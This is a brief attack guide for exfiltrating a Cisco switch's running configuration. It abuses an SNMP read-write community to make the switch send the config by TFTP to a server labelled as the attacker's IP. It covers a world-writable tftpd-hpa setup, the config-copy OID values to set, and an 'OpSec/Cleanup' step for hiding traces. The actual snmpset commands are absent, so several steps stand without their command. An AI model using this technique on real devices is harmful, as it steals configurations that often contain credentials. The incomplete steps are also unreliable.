Pulling a running configuration via TFTP from a cisco switch with --rw-- permissions

Phase 1: Configure the TFTP Server (tftpd-hpa)

Run the following command to install the daemon:

sudo apt update && sudo apt install tftpd-hpa -y

Open /etc/default/tftpd-hpa in your preferred text editor (e.g., nano or vim). You need to append --create to the TFTP_OPTIONS variable so the switch is allowed to write a new file to the directory.

Your configuration should look like this:

TFTP_USERNAME="tftp"

TFTP_DIRECTORY="/srv/tftp"

TFTP_ADDRESS=":69"

TFTP_OPTIONS="--secure --create"

By default, the directory is /srv/tftp. You must ensure the tftp user has absolute ownership and write permissions over this directory.

sudo chown -R tftp:tftp /srv/tftp

sudo chmod -R 777 /srv/tftp

Check the services:

sudo systemctl restart tftpd-hpa

sudo systemctl enable tftpd-hpa

sudo systemctl status tftpd-hpa

Phase 2: Pull the Running Config from the Switch

Check the write status

should return like this: iso.3.6.1.2.1.1.4.0 = STRING: "testing_write"

To initiate the transfer, you send a single snmpset command that populates all required OIDs in a new row. We will use 999 as an arbitrary row index.

What these OIDs mean:

.2.999 i 1: Protocol = TFTP

.3.999 i 4: Source = runningConfig

.4.999 i 1: Destination = networkFile

.5.999 a <IP>: TFTP Server IPv4 Address <attacker's ip>

.6.999 s "...": Destination Filename <running-config.cfg>

.14.999 i 4: Row Status = createAndGo (4)

Check the Transfer

If it returns 3, the transfer was successful. A 4 means it failed (usually due to TFTP permission issues or routing)

Destroy the SNMP Row (OpSec/Cleanup)